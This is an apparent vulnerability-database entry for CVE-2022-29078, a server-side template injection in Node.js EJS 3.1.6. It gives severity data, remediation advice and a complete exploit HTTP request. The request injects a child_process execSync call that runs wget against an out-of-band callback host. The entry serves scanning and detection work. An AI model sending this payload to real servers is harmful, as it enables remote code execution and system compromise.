| Title | Node.js Embedded JavaScript 3.1.6 - Template Injection |
|---|---|
| Author | For3stCo1d |
| Severity | Critical |
| Impact | Remote code execution can lead to unauthorized access, data leakage, and complete system compromise. |
| Remediation | Upgrade to a patched version of Node.js Embedded JavaScript (3.1.7 or higher) to mitigate the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93462 |
| CVE ID | CVE-2022-29078 |
| CWE ID | CWE-94 |
| Tags | cve cve2022 ssti rce ejs nodejs oast intrusive node.js vkev vuln |
Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
GET /page?id=38F92mNlyi7ZRhUdOY0batW7wHJ&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://d5jmdthle0o4ql3mmv40qq68kcnkhccoi.oast.fun%27);s HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29078.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-29078.pcap
N/AN/A